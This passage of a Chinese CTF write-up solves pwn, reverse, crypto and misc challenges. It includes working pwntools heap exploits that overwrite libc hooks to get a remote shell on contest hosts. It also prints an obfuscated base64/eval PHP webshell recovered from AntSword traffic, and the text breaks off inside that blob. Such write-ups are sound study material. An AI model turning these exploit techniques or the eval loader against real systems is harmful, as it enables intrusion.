context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./pwn2\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc-2.27.so\u0026#34;) else: p = remote(\u0026#34;113.201.14.253\u0026#34;, 16066) libc = ELF(\u0026#34;./libc-2.27.so\u0026#34;) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./pwn2\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def menu(i): ru(\u0026#34;Choice: \u0026#34;) sl(str(i)) def add(size, content): menu(1) sla(\u0026#34;size: \u0026#34;, str(size)) sa(\u0026#34;content: \u0026#34;, content) def edit(idx,content): menu(2) sla(\u0026#34;idx: \u0026#34;, str(idx)) sla(\u0026#34;content: \u0026#34;, content) def free(idx): menu(3) sla(\u0026#34;idx: \u0026#34;, str(idx)) def show(idx): menu(4) sla(\u0026#34;idx: \u0026#34;, str(idx)) add(0x18, b\u0026#34;a\u0026#34; + b\u0026#34;\\n\u0026#34;) add(0x18, b\u0026#34;b\u0026#34;*0x18 + b\u0026#34;\\n\u0026#34;) for i in range(8): add(0x80, b\u0026#34;aaa\u0026#34; + b\u0026#34;\\n\u0026#34;) for i in range(8): free(9-i) free(0) add(0x18, b\u0026#34;a\u0026#34;*0x18 + b\u0026#34;\\xb1\u0026#34; + b\u0026#34;\\n\u0026#34;) free(1) add(0xa0, b\u0026#34;c\u0026#34; + b\u0026#34;\\n\u0026#34;) edit(1, b\u0026#34;c\u0026#34;*0x1f) show(1) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - 96 - 0x10 - libc.sym[\u0026#34;__malloc_hook\u0026#34;] print(hex(libc.address)) edit(1, b\u0026#34;c\u0026#34;*0x18 + p64(0x91) + p64(libc.sym[\u0026#34;__free_hook\u0026#34;]) + p64(96 + 0x10 + libc.sym[\u0026#34;__malloc_hook\u0026#34;])) add(0x80, b\u0026#34;/bin/sh\\x00\u0026#34; + b\u0026#34;\\n\u0026#34;) for i in range(7): add(0x80, b\u0026#34;aaa\u0026#34; + b\u0026#34;\\n\u0026#34;) free(9) edit(1, b\u0026#34;c\u0026#34;*0x18 + p64(0x91) + p64(libc.sym[\u0026#34;__free_hook\u0026#34;])*2) add(0x80, b\u0026#34;ddd\u0026#34; + b\u0026#34;\\n\u0026#34;) add(0x80, p64(libc.sym[\u0026#34;system\u0026#34;]) + b\u0026#34;\\n\u0026#34;) free(2) p.interactive() pwn3 随便玩玩拿到puts地址，写exit_hook拿shell\nfrom pwn import * import sys context.log_level = \u0026#34;debug\u0026#34; if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./Gpwn3\u0026#34;) libc = ELF(\u0026#39;/lib/x86_64-linux-gnu/libc.so.6\u0026#39;) else: p = remote(\u0026#34;113.201.14.253\u0026#34;, 16033) libc = ELF(\u0026#39;/lib/x86_64-linux-gnu/libc.so.6\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *{b}\u0026#34;.format(b = hex(b))) else: gdb.attach(p) def menu(i): sla(\u0026#39;choice:\u0026#39;, str(i)) def create(c): menu(1) sa(\u0026#39;:\u0026#39;, c) def up(c): menu(2) sa(\u0026#39;:\u0026#39;, c) create(b\u0026#39;\\xff\u0026#39;*35) # up(b\u0026#39;\\x01\u0026#39;*34+b\u0026#39;\\x00\u0026#39;) up(b\u0026#39;\\x01\u0026#39;) up(p64(2147483647)) menu(3) ru(\u0026#39;reward:\u0026#39;) libc.address = int(ru(b\u0026#39;\\n\u0026#39;)[:-1],16) - 0x06f6a0 log.warning(hex(libc.address)) ru(\u0026#39;name\u0026#39;) sn(p64(libc.address+0x5f0040+3848)) ru(\u0026#39;you!\u0026#39;) sn(p64(libc.address+0xf1247)) p.interactive() \u0026#39;\u0026#39;\u0026#39; 0x45226 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) constraints: rax == NULL 0x4527a execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x70, environ) constraints: [rsp+0x70] == NULL \u0026#39;\u0026#39;\u0026#39; Reverse lemon 感谢 yaoxi 师傅送的一血（狗头）\nlemon 语言，仿照 HITCON cclemon，手动恢复字节码\nvar a = [65, 69, 83]; var b = [113, 105, 117, 113, 105, 117, 108, 101, 98, 105, 101, 122, 117, 111, 108, 101]; var c = 0; var d = []; while (c \u0026lt; 256){ d.append(c); c = c + 1; }; var e = 0; while (e \u0026lt; 256) { d[e] = (d[e] + a[e % 3] + b[e % 16]) % 256; e += 1; }; var f = 0; while (f \u0026lt; 3) { var g = 0; while (g \u0026lt; 256) { d[g] = d[g] ^ d[(g + 1) % 256]; g = g + 1; }; var h = 0; while (h \u0026lt; 256) { d[h] = (d[h] + 1) % 256; h = h + 1; }; f = f + 1; }; f = 0; var i = 0; while (f \u0026lt; 256) { i = i + d[f]; f = f + 1; }; i = i * 20 + 5; i = i * 30 - 5; i = i * 40 - 5; i = i * 50 + 6645; print(i); 运行结果就是flag\neasy_py uncompyle6反编译\nsleep+多线程，两个运算轮流进行\nIn [1]: cipher = [44, 100, 3, 50, 106, 90, 5, 102, 10, 112] In [2]: for i in range(0, 9, 2): ...: cipher[i] ^= cipher[i + 1] ...: cipher[i + 1] ^= i + 1 ...: In [3]: cipher Out[3]: [72, 101, 49, 49, 48, 95, 99, 97, 122, 121] In [4]: for c in cipher: ...: print (chr(c), end=\u0026#39;\u0026#39;) ...: He110_cazy combat_slogan jd-gui可出源码\npackage com.xaut; import java.io.PrintStream; import java.util.Scanner; public class Main { public static String stringTransformAscii(String value) { StringBuffer sbu = new StringBuffer(); char[] chars = value.toCharArray(); for (int i = 0; i \u0026lt; chars.length; i++) { if (i != chars.length - 1) { sbu.append(chars[i]).append(\u0026#34;,\u0026#34;); } else { sbu.append(chars[i]); } } return sbu.toString(); } public static String ttk(String input) { StringBuilder sb = new StringBuilder(); for (int i = 0; i \u0026lt; input.length(); i++) { char c = input.charAt(i); if ((c \u0026gt;= \u0026#39;a\u0026#39;) \u0026amp;\u0026amp; (c \u0026lt;= \u0026#39;m\u0026#39;)) { c = (char)(c + \u0026#39;\\r\u0026#39;); } else if ((c \u0026gt;= \u0026#39;A\u0026#39;) \u0026amp;\u0026amp; (c \u0026lt;= \u0026#39;M\u0026#39;)) { c = (char)(c + \u0026#39;\\r\u0026#39;); } else if ((c \u0026gt;= \u0026#39;n\u0026#39;) \u0026amp;\u0026amp; (c \u0026lt;= \u0026#39;z\u0026#39;)) { c = (char)(c - \u0026#39;\\r\u0026#39;); } else if ((c \u0026gt;= \u0026#39;N\u0026#39;) \u0026amp;\u0026amp; (c \u0026lt;= \u0026#39;Z\u0026#39;)) { c = (char)(c - \u0026#39;\\r\u0026#39;); } sb.append(c); } return sb.toString(); } public static void main(String[] args) { System.out.println(\u0026#34;Please input your keyword::\u0026#34;); Scanner scan = new Scanner(System.in); String str2 = \u0026#34;ddd\u0026#34;; if (scan.hasNextLine()) { str2 = scan.nextLine(); } scan.close(); String stringTransformAscii = stringTransformAscii(str2); String[] offerCodeString = stringTransformAscii.split(\u0026#34;,\u0026#34;); StringBuffer str5 = new StringBuffer(); for (String s : offerCodeString) { str5.append(s); } int flag = ttk(str2).compareTo(\u0026#34;Jr_j11y_s1tug_g0_raq_g0_raq_pnml\u0026#34;); if ((flag == 0) \u0026amp;\u0026amp; (str5.toString().compareTo(\u0026#34;871019511949491089510249103104116951164895101110100951164895101110100959997122121\u0026#34;) == 0)) { System.out.println(\u0026#34;Your keyword is correct!\u0026#34;); } else { System.out.println(\u0026#34;Your keyword is wrong!\u0026#34;); } } } ttk 凯撒 k=13\nWe_w11l_f1ght_t0_end_t0_end_cazy\nflag:\nflag{We_w11l_f1ght_t0_end_t0_end_cazy} cute_doge 运行后dump内存\n解base64\nZmxhZ3tDaDFuYV95eWRzX2Nhenl9\nflag:\nflag{Ch1na_yyds_cazy} Crypto LinearEquations 线性同余方程\nd[0] * b + d[1] * a + c = d[2] d[1] * b + d[2] * a + c = d[3] d[2] * b + d[3] * a + c = d[4] 所以有\n(d[1] - d[0]) * b + (d[2] - d[1]) * a = d[3] - d[2] (d[2] - d[1]) * b + (d[3] - d[2]) * a = d[4] - d[3] 求解同余方程即可\n直接放ipython的log了\nd = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396] n = 10104483468358610819 In [24]: from libnum import * In [25]: left = (d[4] - d[3]) * (d[1] - d[0]) % n - (d[3] - d[2]) * (d[2] - d[1]) % n In [26]: left Out[26]: 2071989288624214374 In [28]: right = (d[3] - d[2]) * (d[1] - d[0]) % n - (d[2] - d[1]) ** 2 % n In [29]: right Out[29]: -220570350959470413 In [30]: right %= n In [31]: right Out[31]: 9883913117399140406 In [32]: invmod(right, n) Out[32]: 9158039860152232368 In [33]: invmod(right, n) * left % n Out[33]: 5490290802446982981 In [34]: a = invmod(right, n) * left % n In [35]: n2s(a) Out[35]: b\u0026#39;L1near_E\u0026#39; In [36]: left = (d[3] - d[2]) % n In [37]: left = (d[3] - d[2]) % n - (d[2] - d[1]) * a % n In [38]: left Out[38]: 2594113358272023300 In [39]: left %= n In [40]: left Out[40]: 2594113358272023300 In [41]: right = d[1] - d[0] In [42]: left * invmod(right, n) Out[42]: 22730265397535795623381317872033942100 In [43]: b = left * invmod(right, n) % n In [44]: b Out[44]: 8175498372211240502 In [45]: n2s(b) Out[45]: b\u0026#39;qu4t1on6\u0026#39; In [46]: n2s(a) Out[46]: b\u0026#39;L1near_E\u0026#39; In [47]: n2s(b) Out[47]: b\u0026#39;qu4t1on6\u0026#39; In [48]: c = d[2] - d[0] * b - d[1] * a In [49]: c %= n In [50]: n2s(c) Out[50]: b\u0026#39;_1s_34sy\u0026#39; no_can_no_bb key 最大是 1 \u0026lt;\u0026lt; 20，可以直接爆破\n如果解密后开头为 cazy 说明正确\nfrom Crypto.Util.number import long_to_bytes from Crypto.Cipher import AES def pad(m): tmp = 16-(len(m)%16) return m + bytes([tmp for _ in range(tmp)]) def encrypt(m,key): aes = AES.new(key,AES.MODE_ECB) return aes.encrypt(m) c = b\u0026#39;\\x9d\\x18K\\x84n\\xb8b|\\x18\\xad4\\xc6\\xfc\\xec\\xfe\\x14\\x0b_T\\xe3\\x1b\\x03Q\\x96e\\x9e\\xb8MQ\\xd5\\xc3\\x1c\u0026#39; for i in range(1, (1 \u0026lt;\u0026lt; 20) + 1): key = pad(long_to_bytes(i)) aes = AES.new(key, AES.MODE_ECB) flag = aes.decrypt(c) if flag[:5] == b\u0026#39;cazy{\u0026#39;: print (flag) # b\u0026#39;cazy{n0_c4n,bb?n0p3!}\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\u0026#39; no_cry_no_can 福纳姆密码，密钥长度为 5，并且已知 flag 开头为 cazy{，所以直接解\nfrom libnum import * front = b\u0026#39;cazy{\u0026#39; cipher = b\u0026#39;\u0026lt;pH\\x86\\x1a\u0026amp;\u0026#34;m\\xce\\x12\\x00pm\\x97U1uA\\xcf\\x0c:NP\\xcf\\x18~l\u0026#39; key = bytes([f ^ c for f, c in zip(front, cipher)]) key *= 8 for c, k in zip(cipher, key): print (chr(c ^ k), end=\u0026#39;\u0026#39;) print() #cazy{y3_1s_a_h4nds0me_b0y!} math from math import gcd from gmpy2 import invert, is_prime from Crypto.Util.number import long_to_bytes as n2s invq = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3 e = 0x10005 d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1 c = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386 kphi = e * d - 1 for k in range(1, e): if kphi % k == 0: phi = kphi // k x = invq * (phi - 1) + 1 g = pow(2, phi, x) - 1 for r in [3, 5]: g = gcd(g, pow(r, phi, x) - 1) if 1 \u0026lt; g \u0026lt; 10 * c: p = g break assert is_prime(p) m = pow(c, d, p) print(n2s(m)) #flag{c4617a206ba83d7f824dc44e5e67196a} no_math_no_cry 解方程就行\nsage:\n((x-(1\u0026lt;\u0026lt;500))**2+0x0338470-10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169).roots() 得到:\n[(6546781215792283740026379393655198304433284092086129578966582736192267592809173519135824526914006312711658519949412876200359056032790029580847075395203, 1), (175590630715657737802001590114848305707265818075457058980756525809979783549, 1)] 再long_to_bytes就行\nflag:\ncazy{1234567890_no_m4th_n0_cRy} Misc 八卦迷宫 直接走迷宫就行\nflag:\ncazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang} 朴实无华的取证 vol 内存取证 dump 出 我的日记.txt.txt，flag.zip 以及 flag.png 那个文件\n在 我的日记.txt.txt 找到压缩包密码 20211209\n得到 flag.zip 压缩包里的 encrypt.txt 内容\n//幼儿园水平的加密（部分） void Encrypt(string\u0026amp; str) { for(int i = 0; i \u0026lt; str.length(); i++) { if(str[i] \u0026gt;=\u0026#39;a\u0026#39;\u0026amp;\u0026amp; str[i]\u0026lt;=\u0026#39;w\u0026#39;) str[i]+=3; else if(str[i]==\u0026#39;x\u0026#39;) str[i]=\u0026#39;a\u0026#39;; else if(str[i]==\u0026#39;y\u0026#39;) str[i]=\u0026#39;b\u0026#39;; else if(str[i]==\u0026#39;z\u0026#39;) str[i]=\u0026#39;c\u0026#39;;\telse if(str[i]==\u0026#39;_\u0026#39;) str[i]=\u0026#39;|\u0026#39;; str[i] -= 32; } } 再通过 flag.png 的内容依照上面的 encrypt() 进行解密\nFDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF] \u0026gt;\u0026gt;\u0026gt; ss = \u0026#39;FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]\u0026#39; \u0026gt;\u0026gt;\u0026gt; flag = \u0026#39;\u0026#39; \u0026gt;\u0026gt;\u0026gt; for i in range(len(ss)): ... flag += chr(ord(ss[i])+32) ... \u0026gt;\u0026gt;\u0026gt; flag \u0026#39;fdcb{Xldq_zloo_fhuwdlqob_vxffhhg_lq_iljkwlqj_wkh_hslghplf}\u0026#39; \u0026gt;\u0026gt;\u0026gt; flag.replace(\u0026#39;a\u0026#39;,\u0026#39;x\u0026#39;).replace(\u0026#39;b\u0026#39;,\u0026#39;y\u0026#39;).replace(\u0026#39;c\u0026#39;,\u0026#39;z\u0026#39;) \u0026#39;fdzy{Xldq_zloo_fhuwdlqoy_vxffhhg_lq_iljkwlqj_wkh_hslghplf}\u0026#39; sss = \u0026#39;fdzy{Xldq_zloo_fhuwdlqoy_vxffhhg_lq_iljkwlqj_wkh_hslghplf}\u0026#39; for i in range(len(sss)): if(ord(sss[i]) \u0026gt;= 100 and ord(sss[i]) \u0026lt;= 122): print(\u0026#34;i:\u0026#34;,i,\u0026#34;data:\u0026#34;,chr(ord(sss[i])-3)) print(sss) i: 0 data: c i: 1 data: a i: 2 data: w i: 3 data: v i: 6 data: i i: 7 data: a i: 8 data: n i: 10 data: w i: 11 data: i i: 12 data: l i: 13 data: l i: 15 data: c i: 16 data: e i: 17 data: r i: 18 data: t i: 19 data: a i: 20 data: i i: 21 data: n i: 22 data: l i: 23 data: v i: 25 data: s i: 26 data: u i: 27 data: c i: 28 data: c i: 29 data: e i: 30 data: e i: 31 data: d i: 33 data: i i: 34 data: n i: 36 data: f i: 37 data: i i: 38 data: g i: 39 data: h i: 40 data: t i: 41 data: i i: 42 data: n i: 43 data: g i: 45 data: t i: 46 data: h i: 47 data: e i: 49 data: e i: 50 data: p i: 51 data: i i: 52 data: d i: 53 data: e i: 54 data: m i: 55 data: i i: 56 data: c aaa = \u0026#34;fdzy{Xldq_zloo_fhuwdlqoy_vxffhhg_lq_iljkwlqj_wkh_hslghplf}\u0026#34; \u0026gt;\u0026gt;\u0026gt; flag2 = \u0026#34;\u0026#34; \u0026gt;\u0026gt;\u0026gt; for i in range(len(aaa)): ... flag2 += chr(ord(aaa[i])-3) \u0026gt;\u0026gt;\u0026gt; flag2 \u0026#39;cawvxUian\\\\will\\\\certainlv\\\\succeed\\\\in\\\\fighting\\\\the\\\\epidemicz\u0026#39; #根据上面的对应然后将其进行整理可得 cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic} flag:\ncazy{Xian_will_certainly_succeed_in_fighting_the_epidemic} 无字天书 蚁剑流量\n流量后面发现 zip 文件的头部 hex 504B\n提取出来后发现是一个 zip\n解压后得到 key.ws 和 flag.txt\nkey.ws是whitesapce\nhttp://vii5ard.github.io/whitespace/\n得到密码 XiAnWillBeSafe\n再去用 snow 去利用这个密码解 flag.txt\nflag:\ncazy{C4n_y0u_underSt4nd_th3_b0oK_With0ut_Str1ng} 西安加油 流量 http 对象导出 secret.txt\n解 base64 发现是一个压缩包\n后面部分就是拼图\n还原结果\nbinary file命令 显示这是个class文件\n利用luyten反编译得到源码\n发现是一堆数据 ascii转chr\nMDAwMDAwMDEwMTExMDAwMDAwMDAxMTExMTEwMTExMDAwMDAwMFxuMDExMTExMDEwMTEwMTAxMDExMTExMDAwMTExMDExMDExMTExMFxuMDEwMDAxMDEwMDAwMTExMTAwMDExMTAxMDExMDExMDEwMDAxMFxuMDEwMDAxMDExMDAwMDAxMTAwMDExMTAwMDAwMTAxMDEwMDAxMFxuMDEwMDAxMDExMTAxMTAxMTAwMTEwMTEwMTAxMTExMDEwMDAxMFxuMDExMTExMDEwMTExMDEwMDAwMDAwMTAwMTAwMDAxMDExMTExMFxuMDAwMDAwMDEwMTAxMDEwMTAxMDEwMTAxMDEwMTAxMDAwMDAwMFxuMTExMTExMTEwMDEwMDAwMDAwMDEwMDExMDAxMTExMTExMTExMVxuMTEwMDAxMDEwMTAxMDAwMDEwMTExMTExMDEwMDAwMDAxMTAwMFxuMDEwMTEwMTAwMDExMDAxMDAxMDAwMDEwMDExMDEwMTAxMTEwMVxuMTAxMTAwMDAwMTAwMTExMTAwMTEwMDAxMTAxMDAwMDAxMDAxMFxuMTExMDExMTExMTExMDAxMDEwMTEwMTAwMDExMDEwMTAxMTEwMFxuMTAxMDExMDAwMTExMDAwMDAwMDExMDEwMDAwMDAwMDAwMDAxMFxuMDExMDEwMTAwMTAwMDEwMDAxMTAxMTEwMTAxMTEwMTExMTEwMVxuMDAxMDEwMDEwMDExMTExMTEwMTExMDAwMDExMDAxMDEwMDAxMFxuMDAxMDAwMTEwMTExMDExMDExMDAxMTAwMTEwMDExMDAxMTEwMVxuMTExMDEwMDExMDAwMTExMTExMTAxMTAxMDAxMTAwMDAwMDAxMFxuMDAwMDExMTAxMDEwMDAxMTEwMDAwMDEwMTEwMTExMTExMDExMVxuMTEwMTEwMDExMDEwMTEwMTAwMTEwMDAxMDEwMDExMDAwMDEwMFxuMDEwMTAwMTAwMTExMTAwMTAwMDAwMTAwMTExMDAxMDAxMDExMVxuMDEwMTAxMDAxMTAwMDExMTAwMDExMDAxMDAwMDAxMDEwMTAwMFxuMTAwMTEwMTExMTEwMTExMDExMDAxMDAxMTExMTEwMTAxMTEwMVxuMTEwMTEwMDAxMDExMTAwMDAwMDEwMTExMDExMDAwMTAxMTAxMFxuMDAxMTAwMTAwMDExMTEwMTEwMDAxMTExMDEwMDEwMDExMTEwMVxuMDEwMTAwMDAwMTExMDEwMTExMDExMDEwMTExMTExMDEwMDAxMFxuMDEwMTAxMTAxMTAwMTAwMTAwMDAwMDExMDEwMDAxMDAxMTExMVxuMDExMDEwMDAxMDAwMTExMDAxMDExMDAxMTAxMTExMTAwMTEwMFxuMDExMTAwMTExMTEwMDAwMDAxMDExMDExMDExMTAwMTExMTEwMFxuMDEwMDExMDAxMDExMDAxMDEwMDAxMDExMTAxMTAwMDAwMDAwMFxuMTExMTExMTEwMTAxMTAwMTExMDAxMTEwMDEwMTAxMTEwMTAxMVxuMDAwMDAwMDExMTAwMDExMTAxMTAxMDExMDAwMTAxMDEwMDEwMFxuMDExMTExMDExMTAwMTEwMTAxMDExMDEwMTEwMDAxMTEwMTExMVxuMDEwMDAxMDEwMDExMDAwMDExMDAxMTAxMDAwMDAwMDAwMDAxMFxuMDEwMDAxMDEwMTExMTEwMTEwMDAxMTExMTExMTExMDEwMDExMVxuMDEwMDAxMDEwMTEwMTExMTExMTEwMDAwMDAxMDEwMTAxMDExMFxuMDExMTExMDExMTExMTAwMDEwMTEwMTAwMTExMTAwMDExMDExMFxuMDAwMDAwMDExMTExMTAxMTExMDExMDAwMDAwMDEwMDAxMTAwMA== base64之后得到1369个01的组合 可被开方为37推测其应该是一个二维码\n画图:\nfrom PIL import Image MAX = 37 pic = Image.new(\u0026#34;RGB\u0026#34;,(MAX,MAX)) str = \u0026#34;0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000\u0026#34; i = 0 for y in range(0,MAX): for x in range(0,MAX): if(str[i] == \u0026#39;0\u0026#39;): pic.putpixel([x,y],(0,0,0)) else: pic.putpixel([x,y],(255,255,255)) i = i + 1 pic.show() pic.save(\u0026#39;flag.png\u0026#39;) 得到的二维码扫码得到flag\nflag:\nflag{932b2c0070e4897ea7df0190dbf36ece} Ez_Steg 压缩包注释告诉说是6个数字 爆破压缩包密码得到220101\n然后得到两个文件\nstegosaurus工具求解pyc隐写\n得到 TheKey:St3g1sV3ryFuNny\nemjoy猜测是 emjoy-aes\nhttps://aghorler.github.io/emoji-aes/\n解码得到flag\nflag:\ncazy{Em0j1s_AES_4nd_PyC_St3g_D0_yoU_l1ke} ez_Encrypt 蚁剑流量\n解一下一开始的base64发现是pop链\n但是都不重要 直接锁定最后的web123\nbase64解开以后是一个压缩包\n解压后在app\\controller\\index.php找到了混淆后的php代码\n\u0026lt;?php define(\u0026#39;IKlSux1227\u0026#39;,__FILE__);$DusPFr=base64_decode(\u0026#34;bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdqZHF0d3lpT2VBY1VaTHBDdUhuYm1ndkZzZlNhUFlsTUpCTmpSVmtLeFFEVFdJcnpFb1hHaA==\u0026#34;);$arCiCL=$DusPFr[3].$DusPFr[6].$DusPFr[33].$DusPFr[30];$VvUrBZ=$DusPFr[33].$DusPFr[10].$DusPFr[24].$DusPFr[10].$DusPFr[24];$DEomKk=$VvUrBZ[0].$DusPFr[18].$DusPFr[3].$VvUrBZ[0].$VvUrBZ[1].$DusPFr[24];$LnpnvY=$DusPFr[7].$DusPFr[13];$arCiCL.=$DusPFr[22].$DusPFr[36].$DusPFr[29].$DusPFr[26].$DusPFr[30].$DusPFr[32].$DusPFr[35].$DusPFr[26].$DusPFr[30];eval($arCiCL(\u0026#34;JFZDQlpRVz0iZ29NVFFoZXFpYVVPdWJtWWZSSlNya1dObmRFc1BaR2pBS3BDVnRCSUh3REZ4Y3pYTGx2eVlUY2lVdVBuZ3BzeXFib09saGpGSVpOU3d6bU1IR3ZEeHRrWFZhV2ZkQUpFclJLTENCUWVISjlBcGR4WUd2Vm9wTjVCdFh6WmhCdXVwWmZyY0RmM2plcmpGMnJpekxZcmNEZjN0aU1aR21qbmkwOWpITmp1UjJzMlNFOVpHTlNRR3ZzVGZvam5oREdHcGlCME5WaE5PMmhxc0x6dVZtWjBpRXVYU3ZoT2hEVkNwQmtLTzIxMHAxazZidkdwVjJ1bk9LU1p6WjVKenYxU1BvaHJPMXo0ekV6cWlEVkdjMUdVVnYxQXMxU3ZVWjVzRkVrVFZaVk1iVkVMR0VqRGJCZktWMHVBek5tQXpkekZoVmtrc05ycGIxek9wRWhwVktCdlZEV1podkVMc0JHaUdLMDlmZ1o3am1rM2JadTFWSzBaR21qbmkwOWpOS1N6Q2doWlVva0hpMEJiU0IwcWp2aFhwWjlIRlZNS2MxMHFqdmhYcFo5SEZWTUtjRTA3amRHaGl2emRGSzBaR21qbmkwOWpOS2NLTEY0Wkdtam5pMDlqTkttQUxGNFpHbWpuaTA5ak5LZjBMRjRaR21qbmkwOWpOS21BTEY0Wkdtam5pMDlqTktmMExpTVpOTkdNendHc0hGaDJzc3J3aDBhYmNFMHFqdmhYcFo5SEZWTXJ5RTBxanZoWHBaOUhGVk1LTEY0WnpCRWNHMHpDTktXekNnaDJzc3J3aDBhYmNWMHFqdmhYcFo5SEZWTWVTRTA3anYxRVVWRXZPSzBaR21qbmkwOWpOS3p6Q2doWlVva0hpMEJiY2lTenllaHR6MjVmelZScUhGaFpVb2tIaTBCYmNEanpDZ2haVW9rSGkwQmJjS0d6Q2doWlVva0hpMEJiY0RCekNnaFpVb2tIaTBCYmNER3pDZ2haVW9rSGkwQmJjS1d6Q2doWlVva0hpMEJiY0tqekNnaFpVb2tIaTBCYmNLVnpDZ2haVW9rSGkwQmJjREd6Q2doWlVva0hpMEJiY0tXenkyVjJPTkFUam1rM2JadTFWZVlnRlpWcGlWVHJSZGtOcERXa1ZFVjBSQlRlU0xoc2hOck1zTnJwcEJqT05vQlpoTmhFR05hVE9WR05HbWpaVjFUS1YwenZTVmphUEVWREZtNTVOWnpBaHZmZXBFalZjb3JpczJyTVNFVUtoWjlWaFZqSlZ2NU16VlRBekVXZ2hOdUZPS2pwczFaS05CekJidmhTVlpWeXBWQk5SSldwVk5yTk9EV05oMVZkYkVoZ1ZOVUtWRXVYUHZWZHNCQlpWb3JlczIxQVBORUVoWmpCcG9yTVZCVjRwdlZWaEJ1eWhKV2tpS2pOY0JCTHoyOXRQRFlJRndaMHAxU3FHZFZpRkVHT0YwU0ZjQlZWUHY1RmNkU1FGWkdNYk5qZk5Eak5VMnpJc29hNGJCenFpQnpjVTFqMHNCVnZzQmphaUxFU3BOYUtGWkdNYk5qZk5Eak5VMnpJc29hNGJCenFpQnpjVTFqMHNCVnZzQmphaUxTdGhLRXZzVkd2aDFCNXAzU3Rob3JhT1p1cGNCR0pHMmFGcDN1cVYyNXlWMHJtVUxTdGhLRXZzVkd2aDFCNXAzV0NzMk0zZmdaa3lLOCtISjlBcGR4WUd2Vm9wTjVCdFh6ZEdOU3RiczRyY0RmM2plcmpGMnJpekxZcmNEZjN0aU1aaEJrUVBtajBITmp1UjJzMlNFOVpHTlNRR3ZzVGZvam5oREdHcGlCME5WaE5PMmhxc0x6dVZtWjBpRXVYU3ZoT2hEVkNwQmtLTzIxMHAxazZidkdwVjJ1bk9LU1p6WjVKenYxU1BvaHJHc1ZaVnZtZVNMekRiRVQyT0tFRk52aGFWWmhWYm1HME9OMVROTkVPYkVFWmNOclVzS1dGekJFSWJtYU5WMEduc1ZzMXBWalZwZFNwRm1HdXNvNUZjVmhkTm81c3NpMDlmZ1o3anYxcVYydWlGSjBaaEJrUVBtajBOS1N6Q2dodk5vOTRVd2hiU0IwcWptR3BiM3VYekVNS2MxMHFqbUdwYjN1WHpFTUtjRTA3akVHR1YyUzRHSjBaaEJrUVBtajBOS2NLTEY0WmhCa1FQbWowTkttQUxGNFpoQmtRUG1qME5LZjBMRjRaaEJrUVBtajBOS21BTEY0WmhCa1FQbWowTktmMExpTVpPTkdWekJ6c0hGaE5OVnpEUHZoYmNFMHFqbUdwYjN1WHpFTXJ5RTBxam1HcGIzdVh6RU1LTEY0WlZCQkxPM3VaTktXekNn